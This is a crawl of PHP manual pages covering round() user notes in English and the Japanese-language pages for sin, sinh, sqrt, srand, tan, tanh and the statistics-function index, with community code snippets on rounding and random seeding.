    return (float)(substr($value, 0, $decPointPosition + $precision + 1));
}
?>

Solving round_up() problem:
---------------------------
Use of <?php ceil(pow(10, $precision) * $value) / pow(10, $precision);?> fails in some cases, e.g. round_up(2.22, 2) gives incorrect 2.23 (https://stackoverflow.com/a/8239620/1245149).
Adapting the above round_down() "string" solution I have got this result (a negative precision is not covered):

<?php
function round_up($value, $precision) {
    $value = (float)$value;
    $precision = (int)$precision;
    if ($precision < 0) {
        $precision = 0;
    }
    $decPointPosition = strpos($value, '.');
    if ($decPointPosition === false) {
        return $value;
    }
    $floorValue = (float)(substr($value, 0, $decPointPosition + $precision + 1));
    $followingDecimals = (int)substr($value, $decPointPosition + $precision + 1);
    if ($followingDecimals) {
        $ceilValue = $floorValue + pow(10, -$precision); // does this give always right result?
    }
    else {
        $ceilValue = $floorValue;
    }
    return $ceilValue;
}
?>

I don't know it is bulletproof, but at least it removes the above mentioned fail. I have done no binary-to-decimal-math-analysis but if `$floorValue + pow(10, 0 - $precision)` works
always as expected then it should be ok.
Anonymous 31-Aug-2017 02:23
This function has strange. behaviors:

<?php
echo round(0.045, 2);      // 0.05
echo round(0.45, 1);      // 0.5
echo round(1.045-1, 2);    // 0.04 !!!
echo round(1.45-1, 1);      // 0.5
armanhakimsagar at gmail dot com 06-Aug-2017 02:25
$a = .9;

    $b = .8;

    $d = .1;

    $e = .2;

    $x = $a-$b;

    $y = $e-$d;

    $f = round($x,2);

    echo $f;

    if($f==$y){

        echo "ok";
    }
depaula at unilogica dot com 13-Jan-2017 05:51
As PHP doesn't have a a native number truncate function, this is my solution - a function that can be usefull if you need truncate instead round a number.

<?php
/**
 * Truncate a float number, example: <code>truncate(-1.49999, 2); // returns -1.49
 * truncate(.49999, 3); // returns 0.499
 * </code>
 * @param float $val Float number to be truncate
 * @param int f Number of precision
 * @return float
 */
function truncate($val, $f="0")
{
    if(($p = strpos($val, '.')) !== false) {
        $val = floatval(substr($val, 0, $p + 1 + $f));
    }
    return $val;
}
?>

Originally posted in http://stackoverflow.com/a/12710283/1596489
greghenle at gmail dot com 28-Nov-2016 09:25
/**
 * Round to first significant digit
 * +N to +infinity
 * -N to -infinity
 *
 */
function round1stSignificant ( $N ) {
  if ( $N === 0 ) {
    return 0;
  }

  $x = floor ( log10 ( abs( $N ) ) );

  return ( $N > 0 )
    ? ceil( $N * pow ( 10, $x * -1 ) ) * pow( 10, $x )
    : floor( $N * pow ( 10, $x * -1 ) ) * pow( 10, $x );
}

echo round1stSignificant( 39144818 ) . PHP_EOL;
echo round1stSignificant( 124818 ) . PHP_EOL;
echo round1stSignificant( 0.07468 ) . PHP_EOL;
echo round1stSignificant( 0 ) . PHP_EOL;
echo round1stSignificant( -0.07468 ) . PHP_EOL;

/**
 * Output
 *
 * 40000000
 * 200000
 * 0.08
 * 0
 * -0.08
 *
 */
Anonymous 17-Nov-2016 11:33
Note that PHP 5.3 didn't just introduce $mode, it rewrote the rounding implementation completely to eliminate many kinds of rounding errors common to rounding floating point values.

That's why round() gives you the correct result even when floor/ceil don't.
For example,  floor(0.285 * 100 + 0.5) VS round(0.285*100 + 0.5). First one gives 28, second one gives 29.

More details here: https://wiki.php.net/rfc/rounding
jongbumi at gmail dot com 12-May-2016 06:25
PHP 5.3, 5.4, 5.5
<?php
$fInfinty = pow(1000, 1000); // float(INF)
$fResult = round(123.456, $fInfinty); // double(123)
?>

PHP 5.6
<?php
$fInfinty = pow(1000, 1000); // float(INF)
$fResult = round(123.456, $fInfinty); // float(0)
?>

PHP 7
<?php
$fInfinty = pow(1000, 1000); // float(INF)
$fResult = round(123.456, $fInfinty); // null
?>
php at persignum dot com 03-Aug-2015 07:30
Because this function is missing round up and round down constants and the top note doesn't really show you how to round up or down to the nearest number, here is an easy way to always round up or always round down to the nearest number.

int is the number you want to round

n is the nearest number you want rounded to.

Round up to the nearest number

function round_up($int, $n) {
    return ceil($int / $n) * $n;
}

And to round down to the nearest number

function round_down(int, $n) {
    return floor($int / $n) * $n;
}
slimusgm at gmail dot com 02-Sep-2014 03:34
If you have negative zero and you need return positive number simple add +0:

$number = -2.38419e-07;
var_dump(round($number,1));//float(-0)
var_dump(round($number,1) + 0);//float(0)
serg at kalachev dot ru 24-Aug-2014 06:31
Excel-like ROUNDUP function:

public static function round_up($value, $places)
{
    $mult = pow(10, abs($places));
     return $places < 0 ?
    ceil($value / $mult) * $mult :
        ceil($value * $mult) / $mult;
}

echo round_up(12345.23, 1); // 12345.3
echo round_up(12345.23, 0); // 12346
echo round_up(12345.23, -1); // 12350
echo round_up(12345.23, -2); // 12400
echo round_up(12345.23, -3); // 13000
echo round_up(12345.23, -4); // 20000
esion99 at gmail dot com 01-Jul-2014 10:49
Unexpected result or misunderstanding (php v5.5.9)

<?php

echo round(1.55, 1, PHP_ROUND_HALF_DOWN); // 1.5
echo round(1.551, 1, PHP_ROUND_HALF_DOWN); //1.6

?>
spectrumcat at gmail dot com 19-Mar-2014 02:22
In case someone will need a "graceful" rounding (that changes it's precision to get a non 0 value) here's a simple function:

function gracefulRound($val, $min = 2, $max = 4) {
    $result = round($val, $min);
    if ($result == 0 && $min < $max) {
        return gracefulRound($val, ++$min, $max);
    } else {
        return $result;
    }
}

Usage:
$_ = array(0.5, 0.023, 0.008, 0.0007, 0.000079, 0.0000048);
foreach ($_ as $val) {
    echo "{$val}: ".gracefulRound($val)."\n";
}

Output:
0.5: 0.5
0.023: 0.02
0.008: 0.01
0.0007: 0.001
0.000079: 0.0001
0.0000048: 0
takingsides at gmail dot com 07-Mar-2014 03:00
In my opinion this function lacks two flags:

- PHP_ROUND_UP - Always round up.
- PHP_ROUND_DOWN - Always round down.

In accounting, it's often necessary to always round up, or down to a precision of thousandths.

<?php
function round_up($number, $precision = 2)
{
    $fig = (int) str_pad('1', $precision, '0');
    return (ceil($number * $fig) / $fig);
}

function round_down($number, $precision = 2)
{
    $fig = (int) str_pad('1', $precision, '0');
    return (floor($number * $fig) / $fig);
}
?>
djcox99 at googlemail dot com 13-Jan-2014 11:28
I discovered that under some conditions you can get rounding errors with round when converting the number to a string afterwards.

To fix this I swapped round() for number_format().

Unfortunately i cant give an example (because the number cant be represented as a string !)

essentially I had round(0.688888889,2);

which would stay as 0.68888889 when printed as a string.

But using number_format it correctly became 0.69.
craft at ckdevelop dot org 17-Dec-2013 01:34
function mround($val, $f=2, $d=6){
    return sprintf("%".$d.".".$f."f", $val);
}

echo mround(34.89999);  //34.90
dastra 12-Jul-2012 11:16
round() will sometimes return E notation when rounding a float when the amount is small enough - see  https://bugs.php.net/bug.php?id=44223 .  Apparently it's a feature.

To work around this "feature" when converting to a string, surround your round statement with an sprintf:

sprintf("%.10f", round( $amountToBeRounded, 10));
christian at deligant dot net 15-Sep-2011 01:24
this function (as all mathematical operators) takes care of the setlocale setting, resulting in some weirdness when using the result where the english math notation is expected, as the printout of the result in a width: style attribute!

<?php
$a=3/4;
echo round($a, 2); // 0.75

setlocale(LC_ALL, 'it_IT@euro', 'it_IT', 'it');
$b=3/4;
echo round($b,2); // 0,75
?>
omnibus at omnibus dot edu dot pl 19-Nov-2010 02:26
Beware strange behaviour if number is negative and precision is bigger than the actual number of digits after comma.

round(-0.07, 4);

returns

-0.07000000000000001

So if you validate it against a regular expression requiring the maximum amount of digits after comma, you'll get into trouble.
Anonymous 07-Oct-2010 04:07
Here is function that rounds to a specified increment, but always up. I had to use it for price adjustment that always went up to $5 increments.

<?php
function roundUpTo($number, $increments) {
    $increments = 1 / $increments;
    return (ceil($number * $increments) / $increments);
}
?>
feha at vision dot to 27-Aug-2010 07:59
Here is a short neat function to round minutes (hour) ...

<?php

function minutes_round ($hour = '14:03:32', $minutes = '5', $format = "H:i")
{
    // by Femi Hasani [www.vision.to]
    $seconds = strtotime($hour);
    $rounded = round($seconds / ($minutes * 60)) * ($minutes * 60);
    return date($format, $rounded);
}

?>

You decide to round to nearest minute ...
example will produce : 14:05
lossantis at ig dot com dot br 15-Jul-2010 07:02
Since the mode parameter for options like PHP_ROUND_HALF_UP is available as of PHP 5.3, here is an alternative for ceiling:

<?php echo 252 / 40; // 6.3 ?>

If I round this:

<?php echo round(252 / 40); // 6 ?>

You can also use a ceil (which might be useful for pagination):

<?php echo ceil(252/40); // 7 ?>

[Edited by: googleguy@php.net for clarity]
Anonymous 02-Nov-2009 08:52
This functions return ceil($nb) if the double or float value is bigger than "$nb.5" else it's return floor($nb)

<?php
    function arounds_int($nb) {

        if(!is_numeric($nb)) {
            return false;
        }

        $sup = round($nb);
        $inf = floor($nb);
        $try = (double) $inf . '.5' ;

        if($nb > $try) {
            return $sup;
        }

        return $inf;
    }
?>
michaeldnelson dot mdn at gmail dot com 25-Sep-2009 06:42
This function will let you round to an arbitrary non-zero number.  Zero of course causes a division by zero.

<?php
function roundTo($number, $to){
    return round($number/$to, 0)* $to;
}

echo roundTo(87.23, 20); //80
echo roundTo(-87.23, 20); //-80
echo roundTo(87.23, .25); //87.25
echo roundTo(.23, .25); //.25
?>
Bevan 17-Sep-2009 12:24
Formats a number to the specified number of significant figures.

<?php
/**
 * Formats numbers to the specified number of significant figures.
 *
 * @author Bevan Rudge, Drupal.geek.nz
 *
 * @param number $number
 *   The number to format.
 * @param integer $sf
 *   The number of significant figures to round and format the number to.
 * @return string
 *   The rounded and formatted number.
 */
function format_number_significant_figures($number, $sf) {
  // How many decimal places do we round and format to?
  // @note May be negative.
  $dp = floor($sf - log10(abs($number)));
  // Round as a regular number.
  $number = round($number, $dp);
  // Leave the formatting to format_number(), but always format 0 to 0dp.
  return number_format($number, 0 == $number ? 0 : $dp);
}
?>
martinr at maarja dot net 12-Jan-2008 03:40
Please note that the format of this functions output also depends on your locale settings. For example, if you have set your locale to some country that uses commas to separate decimal places, the output of this function also uses commas instead of dots.

This might be a problem when you are feeding the rounded float number into a database, which requires you to separate decimal places with dots.

See it in action:
<?php
    echo round('3.5558', 2);
    setlocale(constant('LC_ALL'), 'et_EE.UTF-8');
    echo '<br />'. round('3.5558', 2);
?>

The output will be:
3.56
3,56
maxteiber at gmail dot com 16-Oct-2006 05:15
the result of this function always depends on the underlying C function. There have been a lot of compiler bugs and floating-point precission problems involving this function. Right now the following code:

<?php
echo round(141.075, 2);
?>

returns:

141.07

on my machine.
So never really trust this function when you do critical calculations like accounting stuff!
Instead: use only integers or use string comparisons.
terry at scribendi dot com 12-Jan-2004 11:45
To round any number to a given number of significant digits, use log10 to find out its magnitude:

<?php round($n, ceil(0 - log10($n)) + $sigdigits); ?>

Or when you have to display a per-unit price which may work out to be less than a few cents/pence/yen you can use:

<?php
// $exp = currency decimal places - 0 for Yen/Won, 2 for most others
$dp = ceil(0 - log10($n)) + $sigdigits;
$display = number_format($amount, ($exp>$dp)?$exp:$dp);
?>

This always displays at least the number of decimal places required by the currency, but more if displaying the unit price with precision requires it - eg: 'English proofreading from $0.0068 per word', 'English beer from $6.80 per pint'.
php at silisoftware dot com 14-Aug-2002 02:15
Here's a function to round to an arbitary number of significant digits. Don't confuse it with rounding to a negative precision - that counts back from the decimal point, this function counts forward from the Most Significant Digit.

ex:

<?php
round(1241757, -3); // 1242000
RoundSigDigs(1241757, 3); // 1240000
?>

Works on negative numbers too. $sigdigs should be >= 0

<?php
function RoundSigDigs($number, $sigdigs) {
    $multiplier = 1;
    while ($number < 0.1) {
        $number *= 10;
        $multiplier /= 10;
    }
    while ($number >= 1) {
        $number /= 10;
        $multiplier *= 10;
    }
    return round($number, $sigdigs) * $multiplier;
}
?>
twan at ecreation dot nl 15-May-2000 06:51
If you'd only want to round for displaying variables (not for calculating on the rounded result) then you should use printf with the float:

<?php printf ("%6.2f",3.39532); ?>

This returns: 3.40 .


正弦（サイン）

  • ≪ round
  • sinh ≫
  • PHP Manual
  • Math 関数
  • 正弦（サイン）

sin

(PHP 4, PHP 5, PHP 7, PHP 8)

sin — 正弦（サイン）

説明

sin ( float $num ) : float

sin() は、num のサインを 返します。num はラジアンです。

パラメータ

num

ラジアンで表した値。

返り値

num のサインを返します。

例

例1 sin() の例

<?php

// 結果の精度は、指定によります。
echo sin(deg2rad(60));  //  0.866025403 ...
echo sin(60);           // -0.304810621 ...

?>

参考

  • asin() - 逆正弦（アークサイン）
  • sinh() - 双曲線正弦（ハイパボリックサイン）
  • cos() - 余弦（コサイン）
  • tan() - 正接（タンジェント）
  • deg2rad() - 度単位の数値をラジアン単位に変換する

User Contributed Notes

There are no user contributed notes for this page.


双曲線正弦（ハイパボリックサイン）

  • ≪ sin
  • sqrt ≫
  • PHP Manual
  • Math 関数
  • 双曲線正弦（ハイパボリックサイン）

sinh

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

sinh — 双曲線正弦（ハイパボリックサイン）

説明

sinh ( float $num ) : float

num のハイパボリックサインを返します。 これは、(exp(num) - exp(-num))/2 で定義されます。

パラメータ

num

処理する引数。

返り値

num のハイパボリックサインを返します。

参考

  • sin() - 正弦（サイン）
  • asinh() - 逆双曲線正弦（アークハイパボリックサイン）
  • cosh() - 双曲線余弦（ハイパボリックコサイン）
  • tanh() - 双曲線正接（ハイパボリックタンジェント）

User Contributed Notes

There are no user contributed notes for this page.


平方根

  • ≪ sinh
  • srand ≫
  • PHP Manual
  • Math 関数
  • 平方根

sqrt

(PHP 4, PHP 5, PHP 7, PHP 8)

sqrt — 平方根

説明

sqrt ( float $num ) : float

num の平方根を返します。

パラメータ

num

処理する引数。

返り値

num の平方根を返します。 負の数を指定した場合は、特別な値 NAN を返します。

例

例1 sqrt() の例

<?php
// 小数点以下の精度は、precision ディレクティブの設定に依存します
echo sqrt(9); // 3
echo sqrt(10); // 3.16227766 ...
?>

参考

  • pow() - 指数表現

User Contributed Notes

jouhni at web dot de 17-Feb-2005 11:46
To get any root of a number your can use the pow() function:

pow(8, 1/3)

which gives you the third root of eight.

Jouhni


乱数生成器を初期化する

  • ≪ sqrt
  • tan ≫
  • PHP Manual
  • Math 関数
  • 乱数生成器を初期化する

srand

(PHP 4, PHP 5, PHP 7, PHP 8)

srand — 乱数生成器を初期化する

説明

srand ( int $seed = ? ) : void

シード seed で乱数生成器を初期化します。 seed を省略した場合はランダムな値が設定されます。

注意: srand() または mt_srand() によりランダム数生成器にシードを与える必要はありません。 これは、この処理が自動的に行われるためです。

注意: PHP 7.1.0 以降、srand() は、mt_srand() のエイリアスになりました。

パラメータ

seed

任意の整数値で指定するシード値。

返り値

値を返しません。

変更履歴

バージョン | 説明
7.1.0 | srand() は、 mt_srand() の エイリアスになりました。

例

例1 srand() の例

<?php
// マイクロ秒でシードを設定します
function make_seed()
{
  list($usec, $sec) = explode(' ', microtime());
  return $sec + $usec * 1000000;
}
srand(make_seed());
$randval = rand();
?>

参考

  • rand() - 乱数を生成する
  • getrandmax() - 乱数の最大値を取得する
  • mt_srand() - メルセンヌ・ツイスター乱数生成器にシードを指定する

User Contributed Notes

Glauco Lins 09-Sep-2015 11:09
srand and mt_srand are both initialized only once per process ID.

You cannot re-seed your rand algorithms after the first "srand", "mt_srand", "rand", "mt_rand", "shuffle", or any other rand-like function.

I have been facing an issue where after forking my process, all childs were generating exactly the same rand values.
This was due a first "shuffle" call on the parent process, so I could not re-seed the childs.

To solve my issue, I simple called "rand" N times, to offset the child rand generators.

# Offset the child rand generator by its PID
$n = (getmypid() % 100) * (10 * abs(microtime(true) - time()));
for ($n; $n > 0; $n--) {
      rand(0, $n);
}

Since each pcntl_fork takes a while to be completed, the microtime offers an extra offset, other than one PID increment.

This small code will make at the WORST hypothesis 1000 iterations.
simon at labs dot coop 25-Dec-2013 09:19
I can't stress how important it is to seed your randomisation process in code! better still something we found in the BBS Days was if we didn't seed from a token from outside our systems abstraction layer we would go in circles and so would our users. Here at chronolabs we offer a feed of randomly changing token on each impression, it also randomly displays a different number of them this is from http://seed.feeds.labs.coop in the example below I use DOM to load the XML, Extract the randomisation tokens and then with mt_srand and srand seed the random selecting processes! The following function when you call it will seed your random selection process in both the old and new random selection routines all you need to do is call the function! This will work with any version of PHP 5 and any earlier with DOM Objectivity.

function makeRandomSeeded() {
    $file = 'http://seed.feeds.labs.coop/';
    $doc = new DOMDocument();
    $doc->loadHTMLFile($file);
    $skip = array('This feed can', 'Current mode is');
    $elements = $doc->getElementsByTagName('description');
    foreach($elements as $element) {
        $seed = $element->nodeValue;
        $found = false;
        foreach($skip as $find) {
            if (substr($seed, 0, strlen($find))==$find) {
                $found = true;
            }
        }
        if ($found==false)
            $seeds[] = $seed;
    }
    shuffle($seeds);
    mt_srand($seeds[mt_rand(0, count($seeds)-1)]);
    srand($seeds[mt_rand(0, count($seeds)-1)]);
}

Remember when PHP says an integer this also include any character of the Ascii chart if you would like to see an example of this do the following:

<?php
   $a = "000A";
   while($a!="001B") {
      echo $a;
      $a++;
   }
?>
simon at labs dot coop 05-Oct-2013 07:41
Something we discovered in Sydney running BBS Systems before the net advent was here, if we didn't seed of another BBS we would going in circles in our System Physicality Abstraction Layers.. The important thing is to seed from a remote system and easy way at the Centroidal Plexus of the web (Chronolabs Cooperative) we offer a seed feed and the following code will randomise you out of the number cycle:

See in PHP both the letters and numbers are seedable as letters are treated as numbers as well. You can always use individual tokens by extracting the Element with DOM.. But below is equally effective!

<?php

srand(file_get_contents('http://seed.feeds.labs.coop'));

?>
Niels Keurentjes 25-Feb-2011 05:22
Keep in mind that the Suhosin patch which is installed by default on many PHP-installs such as Debian and DirectAdmin completely disables the srand and mt_srand functions for encryption security reasons. To generate reproducible random numbers from a fixed seed on a Suhosin-hardened server you will need to include your own pseudorandom generator code.
harmen at no dot spam dot rdzl dot nl 10-Apr-2009 10:53
To generate a random number which is different every day, I used the number of days after unix epoch as a seed:

<?php
   srand(floor(time() / (60*60*24)));
   echo rand() % 100;
?>

My provider upgraded the php server recently, and calling srand(seed) does not seem to set the seed anymore. To let srand set the seed, add the following line to your .htaccess file

php_value suhosin.srand.ignore 0

Kudos to doc_z (http://www.webmasterworld.com/php/3777515.htm)

Harmen
bootc at bootc dot net 06-Jun-2005 08:03
OK, to summarize what people have been saying so far:

1. DO NOT seed the RNG more than once if you can help it!
2. You HAVE TO seed the RNG yourself if you are using PHP < 4.2.0.
3. Using a prime multiplier to microtime() probably does very little. Use the Mersenne Twister instead.
4. You can use the Mersenne Twister PRNG with the mt_rand and mt_srand functions. This is faster and is more random.
edublancoa at gmail dot com 23-Dec-2004 01:39
Another use of srand is to obtain the same value of rand in a determined time interval. Example: you have an array of 100 elements and you need to obtain a random item every day but not to change in the 24h period (just imagine "Today's Photo" or similar).
<?php
$seed = floor(time()/86400);
srand($seed);
$item = $examplearray[rand(0,99)];
?>
You obtain the same value every time you load the page all the 24h period.
no at spam dot com 01-Sep-2004 04:59
I simply use this, and it has always worked fine:

function initRand ()
{
    static $randCalled = FALSE;
    if (!$randCalled)
    {
        srand((double) microtime() * 1000000);
        $randCalled = TRUE;
    }
}
function randNum ($low, $high)
{
    initRand();
    $rNum = rand($low, $high);
    return $rNum;
}
mlwmohawk at mohawksoft dot com 02-Nov-2001 07:51
srand() is pretty tricky to get right. You should never seed a random number generator more than once per php process, if you do, your randomness is limited to the source of your seed.

The microtime function's micro-seconds portion has a very finite resolution, that is why the make_seed function was added to the document. You should never get the same seed twice.

In the later CVS versions, PHP will seed the random generator prior to performing a rand() if srand() was not previously called.
php_public at macfreek dot nl 07-Oct-2001 08:52
The make_seed() function in the example code is VERY bad, and is in fact responsible for seeding always the same value, so that the output of rand() is the same with every page reload (!)

ALWAYS use:
(double)microtime()*1000000

See for more details my note on the mt_srand() page [ function.mt_srand.php ]
14-Aug-2001 10:14
I have a ramdon circulater that changes a piece of text once a day, and I use the following code to make sure the see is unique enough.

$tm = time();
$today = mktime(0, 0, 0, (int)date("n", $tm), (int)date("j", $tm), (int)date("Y", $tm));
srand($today / pi());

The pi works wonders for the whole thing and it works like a charm. Any other big decimal number will do as well, but pi is the most common "big" number.
akukula at min dot pl 14-Aug-2001 07:14
Calling srand((double)microtime()*1000000),
then $a=rand(1000000,9999999), then srand((double)microtime()*$a)
adds nothing to the entrophy: the execution time of rand and srand is
constant, so the second microtime() produces nothing really fascinating. You may safely use just the first srand().
vonStahl at NOPE2SPAM dot ratio dot net 27-Jul-2001 05:32
How about<br>
<?
srand((double)microtime()*1000000);
$seed = rand(1000000,9999999);
srand((double)microtime()*$seed);
$yadda = rand (1,100);
?><br>
I used this in a test run with 1,000.000 calls for $yadda. Processing time increased by 0.0000061 seconds compared to a simple "srand((double)microtime()*1000000);"
$yadda had the value of each number between 1 and 100 for between 0.99999122% and 1.00000872% of all calls. That's random and fast enough for me. :)
rjones at ditzed dot org 29-May-2001 12:02
As a sidenote on the usage of srand():

If you are making use of modular programming, it is probably better to try and call the srand routine from the parent script than from any modules you may be using (using REQUIRE or INCLUDE).
This way you get around the possibility of calling srand() more than once from different modules.

The flaw in this solution, of course, is when using modules produced by another programmer, or when producing modules for another programmer.
You cannot rely on another programmer calling the srand function before calling the modular function, so you would have to include the srand function inside the module in this case.

If you produce modules for use by other programmers then it is good practice to documentise the fact you have already called the srand function.
Or if you use a modular function produced by someone else, check their documentation, or check their source code.
rjones at ditzed dot org 29-May-2001 11:41
Use the srand() seed "(double)microtime()*1000000" as mentioned by the richard@zend.com at the top of these user notes.

The most notable effect of using any other seed is that your random numbers tend to follow the same, or very similar, sequences each time the script is invoked.

Take note of the following script:

<?php
  srand($val);

  echo rand(0, 20) . ", ";
  echo rand(0, 20) . ", ";
  echo rand(0, 20) . ", ";
  echo rand(0, 20) . ", ";
  echo rand(0, 20);
?>

If you seed the generator with a constant, say; the number 5 ($val = 5), then the sequence generated is always the same, in this case (0, 18, 7, 15, 17) (for me at least, different processors/processor speeds/operating systems/OS releases/PHP releases/webserver software may generate different sequences).

If you seed the generator with time(), then the sequence is more random, but invokations that are very close together will have similar outputs.

As richard@zend.com above suggests, the best seed to use is (double) microtime() * 1000000, as this gives the greatest amount of psuedo-randomness. In fact, it is random enough to suit most users.
In a test program of 100000 random numbers between 1 and 20, the results were fairly balanced, giving an average of 5000 results per number, give or take 100. The deviation in each case varied with each invokation.
MakeMoolah at themail dot com 28-Jan-2001 03:16
Sorry about that...  ok, forget have of what I said up there ^.

The code that would prove my example is this:

<?php
srand(5);
echo(rand(1, 10));
srand(5);
echo(rand(1, 10));
srand(5);
echo(rand(1, 10));
?>

Each time you SHOULD get the same answer, but if you did this:

<?php
srand(5);
echo(rand(1, 10));
echo(rand(1, 10));
echo(rand(1, 10));
?>

then the answers would be different, and you'd be letting the random number formula do it's duty.
hagen at von-eitzen dot de 10-Oct-2000 03:51
It is REALLY essential to make sure that srand is called only once.
This is a bit difficult if the call is hidden somewhere in third-party code you include. For example, I used a standard banner script that *seemed* to work well putting
three random banners in one frame. But in the long run, the choice appeared
somewhat biased - probably because srand was called once per banner, not
once per run.
It would be nice if the random number generator worked like in PERL: If You use the random function without having called srand ever before in a script,
srand is invoked before (and automatically with a nice seed, hopefully).
I suggest that one should do something like this:

<?php
if (!$GLOBALS["IHaveCalledSrandBefore"]++) {
  srand((double) microtime() * 1000000);
}
?>

(Depending on the situation, one might also work with a static variable instead)


正接（タンジェント）

  • ≪ srand
  • tanh ≫
  • PHP Manual
  • Math 関数
  • 正接（タンジェント）

tan

(PHP 4, PHP 5, PHP 7, PHP 8)

tan — 正接（タンジェント）

説明

tan ( float $num ) : float

tan() は、num のタンジェントを 返します。num はラジアンです。

パラメータ

num

処理する引数をラジアンで表したもの。

返り値

num のタンジェントを返します。

例

例1 tan() の例

<?php

echo tan(M_PI_4); // 1

?>

参考

  • atan() - 逆正接（アークタンジェント）
  • atan2() - 2 変数のアークタンジェント
  • sin() - 正弦（サイン）
  • cos() - 余弦（コサイン）
  • tanh() - 双曲線正接（ハイパボリックタンジェント）
  • deg2rad() - 度単位の数値をラジアン単位に変換する

User Contributed Notes

There are no user contributed notes for this page.


双曲線正接（ハイパボリックタンジェント）

  • ≪ tan
  • 統計関数 ≫
  • PHP Manual
  • Math 関数
  • 双曲線正接（ハイパボリックタンジェント）

tanh

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

tanh — 双曲線正接（ハイパボリックタンジェント）

説明

tanh ( float $num ) : float

num のハイパボリックタンジェントを返します。 これは sinh(num)/cosh(num) で定義されます。

パラメータ

num

処理する引数。

返り値

num のハイパボリックタンジェントを返します。

参考

  • tan() - 正接（タンジェント）
  • atanh() - 逆双曲線正接（アークハイパボリックタンジェント）
  • sinh() - 双曲線正弦（ハイパボリックサイン）
  • cosh() - 双曲線余弦（ハイパボリックコサイン）

User Contributed Notes

There are no user contributed notes for this page.


統計関数

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 統計 関数
    • stats_absolute_deviation — 値の配列の絶対偏差を返す
    • stats_cdf_beta — ベータ分布のパラメータのいずれかを、その他のパラメータの値から計算する
    • stats_cdf_binomial — 二項分布のパラメータのいずれかを、その他のパラメータの値から計算する
    • stats_cdf_cauchy — コーシー分布のパラメータのいずれかを、その他のパラメータの値から計算する
    • stats_cdf_chisquare — カイ二乗分布のパラメータのいずれかを、その他のパラメータの値から計算する
    • stats_cdf_exponential — 指数分布のパラメータのいずれかを、その他のパラメータの値から計算する
    • stats_cdf_f — F 分布のパラメータのいずれかを、その他のパラメータの値から計算する
    • stats_cdf_gamma — ガンマ分布のパラメータのいずれかを、その他のパラメータの値から計算する
    • stats_cdf_laplace — ラプラス分布のパラメータのいずれかを、その他のパラメータの値から計算する
    • stats_cdf_logistic — ロジスティック分布のパラメータのいずれかを、その他のパラメータの値から計算する
    • stats_cdf_negative_binomial — 負の二項分布のパラメータのいずれかを、その他のパラメータの値から計算する
    • stats_cdf_noncentral_chisquare — 非心カイ二乗分布のパラメータのいずれかを、その他のパラメータの値から計算する
    • stats_cdf_noncentral_f — 非心 F 分布のパラメータのいずれかを、その他のパラメータの値から計算する
    • stats_cdf_noncentral_t — 非心 t 分布のパラメータのいずれかを、その他のパラメータの値から計算する
    • stats_cdf_normal — 正規分布のパラメータのいずれかを、その他のパラメータの値から計算する
    • stats_cdf_poisson — ポアソン分布のパラメータのいずれかを、その他のパラメータの値から計算する
    • stats_cdf_t — t 分布のパラメータのいずれかを、その他のパラメータの値から計算する
    • stats_cdf_uniform — 一様分布のパラメータのいずれかを、その他のパラメータの値から計算する
    • stats_cdf_weibull — ワイブル分布のパラメータのいずれかを、その他のパラメータの値から計算する
    • stats_covariance — ふたつのデータセットの共分散を計算する
    • stats_dens_beta — ベータ分布の確率密度関数
    • stats_dens_cauchy — コーシー分布の確率密度関数
    • stats_dens_chisquare — カイ二乗分布の確率密度関数
    • stats_dens_exponential — 指数分布の確率密度関数
    • stats_dens_f — F 分布の確率密度関数
    • stats_dens_gamma — ガンマ分布の確率密度関数
    • stats_dens_laplace — ラプラス分布の確率密度関数
    • stats_dens_logistic — ロジスティック分布の確率密度関数
    • stats_dens_normal — 正規分布の確率密度関数
    • stats_dens_pmf_binomial — 二項分布の確率質量関数
    • stats_dens_pmf_hypergeometric — 超幾何分布の確率質量関数
    • stats_dens_pmf_negative_binomial — 負の二項分布の確率質量関数
    • stats_dens_pmf_poisson — ポアソン分布の確率質量関数
    • stats_dens_t — t 分布の確率密度関数
    • stats_dens_uniform — 一様分布の確率密度関数
    • stats_dens_weibull — ワイブル分布の確率密度関数
    • stats_harmonic_mean — 値の配列の調和平均を返す
    • stats_kurtosis — 配列内のデータの尖度を計算する
    • stats_rand_gen_beta — ベータ分布から無作為な値を生成する
    • stats_rand_gen_chisquare — カイ二乗分布から無作為な値を生成する
    • stats_rand_gen_exponential — 指数分布から無作為な値を生成する
    • stats_rand_gen_f — F 分布から無作為な値を生成する
    • stats_rand_gen_funiform — low (それ自身は含まない) と high (それ自身は含まない) の間の一様な浮動小数点数値を生成する
    • stats_rand_gen_gamma — ガンマ分布から無作為な値を生成する
    • stats_rand_gen_ibinomial_negative — 負の二項分布から無作為な値を生成する
    • stats_rand_gen_ibinomial — 二項分布から無作為な値を生成する
    • stats_rand_gen_int — 1 から 2147483562 までの間の無作為な整数値を生成する
    • stats_rand_gen_ipoisson — ポアソン分布から無作為な値を生成する
    • stats_rand_gen_iuniform — LOW (それ自身を含む) と HIGH (それ自身を含む) の間の一様分布から整数値を生成する
    • stats_rand_gen_noncentral_chisquare — 非心カイ二乗分布から無作為な値を生成する
    • stats_rand_gen_noncentral_f — 非心 F 分布から無作為な値を生成する
    • stats_rand_gen_noncentral_t — 非心 t 分布から無作為な値を生成する
    • stats_rand_gen_normal — 正規分布から無作為な値を生成する
    • stats_rand_gen_t — t 分布から無作為な値を生成する
    • stats_rand_get_seeds — 乱数生成器のシードを取得する
    • stats_rand_phrase_to_seeds — 乱数ジェネレータ用のふたつのシードを生成する
    • stats_rand_ranf — 0 から 1 までの無作為な浮動小数点数を生成する
    • stats_rand_setall — 乱数生成器のシードを設定する
    • stats_skew — 配列内のデータの歪度を計算する
    • stats_standard_deviation — 標準偏差を返す
    • stats_stat_binomial_coef — 二項係数を返す
    • stats_stat_correlation — ふたつのデータセットに対するピアソンの相関係数を返す
    • stats_stat_factorial — 整数値の階乗を返す
    • stats_stat_independent_t — 独立二群の t 検定値を返す
    • stats_stat_innerproduct — ふたつのベクトルの内積を返す
    • stats_stat_paired_t — 対応のある二群の t 検定値を返す
    • stats_stat_percentile — パーセンタイル値を返す
    • stats_stat_powersum — ベクトルのべき乗和を返す
    • stats_variance — 分散を返す

User Contributed Notes

There are no user contributed notes for this page.


はじめに

